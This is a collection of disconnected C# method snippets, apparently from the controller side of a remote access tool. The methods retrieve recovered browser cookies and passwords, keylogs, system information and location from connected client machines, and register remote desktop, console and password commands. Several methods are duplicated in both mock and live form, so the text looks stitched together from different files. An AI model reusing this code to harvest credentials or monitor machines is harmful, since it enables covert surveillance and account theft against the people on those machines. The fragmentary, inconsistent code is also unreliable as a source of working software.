public PasswordData GetPasswords(BaseClientInformation client) { return(new PasswordData { Cookies = new List <RecoveredCookie> { new RecoveredCookie { ApplicationName = "Chrome", ExpiresUtc = DateTime.Now.AddDays(100), Path = Environment.SystemDirectory, Name = "Test", Value = "ASDassdaasd", Host = "Host", HttpOnly = true, Secure = false } }, Passwords = new List <RecoveredPassword> { new RecoveredPassword { Application = "Chrome", Password = "******", UserName = "******", PasswordType = PasswordType.Browser } } }); }
public ComputerInformation GetComputerInformation(BaseClientInformation client) { var computerInformation = DataTransferProtocolFactory.ExecuteFunction <ComputerInformation>("GetComputerInformation", client.Id); computerInformation.Timestamp = computerInformation.Timestamp.ToLocalTime(); return(computerInformation); }
public List <KeyLogPresenter> GetKeyLogs(BaseClientInformation client) { return(new List <KeyLogPresenter> { new KeyLogPresenter { Id = 0, Timestamp = DateTime.Now.AddHours(-4.5) } }); }
void ConnectionManager_Current_ClientDisconnected(object sender, BaseClientInformation e) { if (e.Group == groupName && Activity != null) { clients = ConnectionManager.Current.Clients.Where(x => x.Group == groupName).ToList(); Activity.RunOnUiThread(() => ((ClientListItem_Adapter)ListAdapter).Change()); } }
public ClientViewModel(BaseClientInformation clientInformation) { Id = clientInformation.Id; IsOnline = clientInformation.IsOnline; ApiVersion = clientInformation.ApiVersion; Language = clientInformation.Language; IsServiceRunning = clientInformation.IsServiceRunning; IsAdministrator = clientInformation.IsAdministrator; OsType = clientInformation.OsType; UserName = clientInformation.UserName; Group = clientInformation.Group; OsName = clientInformation.OsName; GeoLocationTwoLetter = clientInformation.LocatedCountry; }
public Commander(BaseClientInformation clientInfo, TcpClient tcpClient, Sender sender) { var connectionInfo = new ConnectionInfo(clientInfo, tcpClient, sender); Commands = new List <Command> { new FunCommand(), new TaskManagerCommand(), new PasswordCommand(), new ClientActionCommand(), new InternetCommand(), new ConsoleCommand(), new RemoteDesktopCommand() }; Commands.ForEach(x => x.Initialize(connectionInfo)); }
public LocationInfo GetClientLocation(BaseClientInformation client) { return(new LocationInfo()); }
public ComputerInformation GetComputerInformation(BaseClientInformation client) { return(new ComputerInformation { ProcessTime = 1000, Timestamp = DateTime.Now.AddSeconds(-5) }); }
public PasswordData GetPasswords(BaseClientInformation client) { return(DataTransferProtocolFactory.ExecuteFunction <PasswordData>("GetPasswords", client.Id)); }
public LocationInfo GetClientLocation(BaseClientInformation client) { return(DataTransferProtocolFactory.ExecuteFunction <LocationInfo>("GetClientLocation", client.Id)); }
public ConnectionInfo(BaseClientInformation clientInfo, TcpClient tcpClient, Sender sender) { Sender = sender; TcpClient = tcpClient; ClientInformation = clientInfo; }